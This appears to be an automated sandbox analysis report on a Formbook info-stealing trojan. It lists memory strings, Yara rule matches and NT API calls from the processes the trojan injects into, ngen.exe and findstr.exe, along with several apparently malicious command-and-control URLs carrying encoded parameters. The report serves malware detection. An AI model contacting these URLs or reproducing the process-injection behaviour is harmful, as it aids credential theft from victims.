Source: findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js
Source: findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://image.uc.cn/s/uae/g/3o/berg/static/index.c4bc5b38d870fecd8a1f.css
Source: findstr.exe, 00000007.00000002.3924355546.0000000003230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: findstr.exe, 00000007.00000002.3924355546.0000000003230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: findstr.exe, 00000007.00000002.3924355546.0000000003230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: findstr.exe, 00000007.00000002.3924355546.0000000003230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2h
Source: findstr.exe, 00000007.00000002.3924355546.0000000003230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: findstr.exe, 00000007.00000002.3924355546.0000000003230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srfQ
Source: findstr.exe, 00000007.00000002.3924355546.0000000003230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: findstr.exe, 00000007.00000002.3924355546.0000000003230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: findstr.exe, 00000007.00000002.3924355546.0000000003230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: findstr.exe, 00000007.00000003.2520276379.0000000008026000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://track.uc.cn/collect
Source: findstr.exe, 00000007.00000002.3926054651.00000000041F6000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000003876000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2627811818.0000000028C66000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://valerieomage.com/c7rq?k06T=httm3UUwH6NnwSQhbzeVca8kqE5bj6YPstl
Source: findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: findstr.exe, 00000007.00000002.3926054651.000000000451A000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000003B9A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.kosherphonestore.com/ktbm/?k06T=dCS0byWQIzTRzJnjmD3PHvju9v1sRk6AuoksZ/9OoI4xLWFKRKixtkji
Source: findstr.exe, 00000007.00000002.3926054651.0000000004B62000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.00000000041E2000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.siteblogoficialon.com/xti2/?k06T=QBz94yBRYCLuyG0lRWVoJ262XBKS6lrDLuuKlraC8

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 4.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3923813236.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2294296870.0000000005BA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2293698389.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3924270486.0000000003150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3925169217.0000000002C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3924150933.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3925057114.0000000002AF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2294356055.0000000005CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 4.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 4.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.3923813236.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.2294296870.0000000005BA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.2293698389.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.3924270486.0000000003150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.3925169217.0000000002C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.3924150933.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3925057114.0000000002AF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.2294356055.0000000005CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0042B593 NtClose,	4_2_0042B593
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C35C0 NtCreateMutant,LdrInitializeThunk,	4_2_058C35C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_058C2DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_058C2C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2B60 NtClose,LdrInitializeThunk,	4_2_058C2B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C4650 NtSuspendThread,	4_2_058C4650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C3090 NtSetValueKey,	4_2_058C3090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C3010 NtOpenDirectoryObject,	4_2_058C3010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C4340 NtSetContextThread,	4_2_058C4340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2DB0 NtEnumerateKey,	4_2_058C2DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2DD0 NtDelayExecution,	4_2_058C2DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2D00 NtSetInformationFile,	4_2_058C2D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C3D10 NtOpenProcessToken,	4_2_058C3D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2D10 NtMapViewOfSection,	4_2_058C2D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2D30 NtUnmapViewOfSection,	4_2_058C2D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C3D70 NtOpenThread,	4_2_058C3D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2CA0 NtQueryInformationToken,	4_2_058C2CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2CC0 NtQueryVirtualMemory,	4_2_058C2CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2CF0 NtOpenProcess,	4_2_058C2CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2C00 NtQueryInformationProcess,	4_2_058C2C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2C60 NtCreateKey,	4_2_058C2C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2F90 NtProtectVirtualMemory,	4_2_058C2F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2FA0 NtQuerySection,	4_2_058C2FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2FB0 NtResumeThread,	4_2_058C2FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2FE0 NtCreateFile,	4_2_058C2FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2F30 NtCreateSection,	4_2_058C2F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2F60 NtCreateProcessEx,	4_2_058C2F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2E80 NtReadVirtualMemory,	4_2_058C2E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2EA0 NtAdjustPrivilegesToken,	4_2_058C2EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2EE0 NtQueueApcThread,	4_2_058C2EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2E30 NtWriteVirtualMemory,	4_2_058C2E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C39B0 NtGetContextThread,	4_2_058C39B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2B80 NtQueryInformationFile,	4_2_058C2B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2BA0 NtEnumerateValueKey,	4_2_058C2BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2BE0 NtQueryValueKey,	4_2_058C2BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2BF0 NtAllocateVirtualMemory,	4_2_058C2BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2AB0 NtWaitForSingleObject,	4_2_058C2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2AD0 NtReadFile,	4_2_058C2AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2AF0 NtWriteFile,	4_2_058C2AF0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C4340 NtSetContextThread,LdrInitializeThunk,	7_2_036C4340
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C4650 NtSuspendThread,LdrInitializeThunk,	7_2_036C4650
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C35C0 NtCreateMutant,LdrInitializeThunk,	7_2_036C35C0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2B60 NtClose,LdrInitializeThunk,	7_2_036C2B60
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2AF0 NtWriteFile,LdrInitializeThunk,	7_2_036C2AF0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2AD0 NtReadFile,LdrInitializeThunk,	7_2_036C2AD0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C39B0 NtGetContextThread,LdrInitializeThunk,	7_2_036C39B0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2F30 NtCreateSection,LdrInitializeThunk,	7_2_036C2F30
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2FE0 NtCreateFile,LdrInitializeThunk,	7_2_036C2FE0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2FB0 NtResumeThread,LdrInitializeThunk,	7_2_036C2FB0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2EE0 NtQueueApcThread,LdrInitializeThunk,	7_2_036C2EE0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2D30 NtUnmapViewOfSection,LdrInitializeThunk,	7_2_036C2D30
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2D10 NtMapViewOfSection,LdrInitializeThunk,	7_2_036C2D10
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2DF0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_036C2DF0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2DD0 NtDelayExecution,LdrInitializeThunk,	7_2_036C2DD0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2C60 NtCreateKey,LdrInitializeThunk,	7_2_036C2C60
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2C70 NtFreeVirtualMemory,LdrInitializeThunk,	7_2_036C2C70
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2CA0 NtQueryInformationToken,LdrInitializeThunk,	7_2_036C2CA0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C3010 NtOpenDirectoryObject,	7_2_036C3010
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C3090 NtSetValueKey,	7_2_036C3090
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2BE0 NtQueryValueKey,	7_2_036C2BE0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2BF0 NtAllocateVirtualMemory,	7_2_036C2BF0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2BA0 NtEnumerateValueKey,	7_2_036C2BA0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2B80 NtQueryInformationFile,	7_2_036C2B80
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2AB0 NtWaitForSingleObject,	7_2_036C2AB0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2F60 NtCreateProcessEx,	7_2_036C2F60
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2FA0 NtQuerySection,	7_2_036C2FA0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2F90 NtProtectVirtualMemory,	7_2_036C2F90
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2E30 NtWriteVirtualMemory,	7_2_036C2E30
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2EA0 NtAdjustPrivilegesToken,	7_2_036C2EA0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2E80 NtReadVirtualMemory,	7_2_036C2E80
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C3D70 NtOpenThread,	7_2_036C3D70
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2D00 NtSetInformationFile,	7_2_036C2D00
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C3D10 NtOpenProcessToken,	7_2_036C3D10
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2DB0 NtEnumerateKey,	7_2_036C2DB0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2C00 NtQueryInformationProcess,	7_2_036C2C00
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2CF0 NtOpenProcess,	7_2_036C2CF0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C2CC0 NtQueryVirtualMemory,	7_2_036C2CC0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E68090 NtClose,	7_2_02E68090
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E68000 NtDeleteFile,	7_2_02E68000
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E67F20 NtReadFile,	7_2_02E67F20
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E67DC0 NtCreateFile,	7_2_02E67DC0

Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658583480	0_2_00007FF658583480
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658581D80	0_2_00007FF658581D80
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF65856D1F0	0_2_00007FF65856D1F0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658556AA0	0_2_00007FF658556AA0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658563AC0	0_2_00007FF658563AC0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF65855B2C0	0_2_00007FF65855B2C0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF65857C3A0	0_2_00007FF65857C3A0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF6585863B0	0_2_00007FF6585863B0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658571384	0_2_00007FF658571384
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF65855BB60	0_2_00007FF65855BB60
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF65858E4B0	0_2_00007FF65858E4B0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658585490	0_2_00007FF658585490
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF65857BC70	0_2_00007FF65857BC70
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658561C50	0_2_00007FF658561C50
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658562D00	0_2_00007FF658562D00
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF6585535A0	0_2_00007FF6585535A0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658582DB0	0_2_00007FF658582DB0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658586D80	0_2_00007FF658586D80
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658582580	0_2_00007FF658582580
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658567DC0	0_2_00007FF658567DC0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658557EA0	0_2_00007FF658557EA0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658569660	0_2_00007FF658569660
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF65856FE70	0_2_00007FF65856FE70
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF6585846E0	0_2_00007FF6585846E0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF6585EC880	0_2_00007FF6585EC880
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658576860	0_2_00007FF658576860
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658585060	0_2_00007FF658585060
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF65857B850	0_2_00007FF65857B850
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 0_2_00007FF658571930	0_2_00007FF658571930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_004017BF	4_2_004017BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_00402820	4_2_00402820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_004048A4	4_2_004048A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0042D9C3	4_2_0042D9C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0041019A	4_2_0041019A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_004101A3	4_2_004101A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_00401230	4_2_00401230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_00403280	4_2_00403280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_00416A83	4_2_00416A83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_004103C3	4_2_004103C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0040E443	4_2_0040E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_00401C70	4_2_00401C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_004024FC	4_2_004024FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_00402500	4_2_00402500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05950591	4_2_05950591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592D5B0	4_2_0592D5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890535	4_2_05890535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05947571	4_2_05947571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593E4F6	4_2_0593E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594F43F	4_2_0594F43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05942446	4_2_05942446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05881460	4_2_05881460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594F7B0	4_2_0594F7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588C7C0	4_2_0588C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B4750	4_2_058B4750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890770	4_2_05890770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059416CC	4_2_059416CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AC6E0	4_2_058AC6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589B1B0	4_2_0589B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059501AA	4_2_059501AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059481CC	4_2_059481CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05880100	4_2_05880100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592A118	4_2_0592A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C516C	4_2_058C516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0595B16B	4_2_0595B16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593F0CC	4_2_0593F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594F0E0	4_2_0594F0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059470E9	4_2_059470E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058D739A	4_2_058D739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059503E6	4_2_059503E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589E3F0	4_2_0589E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594132D	4_2_0594132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594A352	4_2_0594A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587D34C	4_2_0587D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058952A0	4_2_058952A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AB2C0	4_2_058AB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059312ED	4_2_059312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05930274	4_2_05930274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A8DBF	4_2_058A8DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AFDC0	4_2_058AFDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588ADE0	4_2_0588ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589AD00	4_2_0589AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05893D40	4_2_05893D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05941D5A	4_2_05941D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05947D73	4_2_05947D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05930CB5	4_2_05930CB5
